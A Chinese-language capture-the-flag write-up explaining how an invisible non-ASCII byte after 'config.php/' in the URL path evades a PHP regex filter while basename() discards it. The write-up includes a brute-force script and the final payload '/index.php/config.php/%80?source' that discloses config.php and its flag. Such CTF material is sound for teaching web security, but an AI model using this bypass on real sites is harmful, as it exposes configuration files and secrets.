不可见字符绕过

不可见字符绕过

打开页面后,点击source,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

我们看见这个提示

1
include 'config.php'; // FLAG is defined in config.php

可知,flag在config.php文件中,然后我们看见这一串加密代码

1
2
3
4
5
6
7
8
9
10

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}

发现只要我们可以绕过这个if

1
if (hash_equals($secret, $guess))

就可以读取flag,但是由于random_bytes(64)是生成加密使用的64长度的加密随机字节字符串,而hash_equals()是匹配两个字符串是否相同,所以发现这个点不可以,但是我们仔细观看preg_match()

1
preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])

$_SERVER[‘PHP_SELF’]
作用是表示php文件相对于网站根目录的位置地址

1
2
3
4
5
6
实例:http://url/php/index.php                 /php/index.php

http://url/php/index.php?test=foo /php/index.php

http://url/php/index.php/test/foo /php/index.php/test/foo

而源码中的正则过滤是如果目录路径是以config.php/结尾的话,则会触发过滤,然后我们再看这串代码

1
highlight_file(basename($_SERVER['PHP_SELF']));

basename()
作用是返回路径中文件名部分

1
2
3
4
5
6
7
8
9
10
<?php

$str1="/index.php/config.php/";

echo basename($str1)."\n";

$str2="/index.php/config.php";

echo basename($str2);
?>

所以我们可以使用highlight_file()这个函数和basename()这个函数来读取config.php文件,又因为

1
if (isset($_GET['source']))

要经过上面的if才可以执行

1
highlight_file(basename($_SERVER['PHP_SELF']));

而source参数在index.php文件中,所以在我们构造payload时需要在config.php前加index.php,因为浏览器此时只会解析index.php文件,然后我们需要构造不可见字符在config.php/后面作为结尾,从而绕过正则过滤,而这些不可见字符在baseneme()函数中会被去除掉,所以写了个脚本来获取特殊字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

function check($str){
return preg_match('/config\.php\/*$/i',$str);
}

for($i=0;$i<255;$i++){
$s='/index.php/config.php/'.chr($i);
if(!check($s)){
$t=basename('/index.php/config.php/'.chr($i));
echo "${i}:${t}\n";
}
}
?>

将不可见字符的ascii码化为16进制,并在前面加%即可使用,所以我们可以构造payload

1
/index.php/config.php/%80?source

就可以读取config.php文件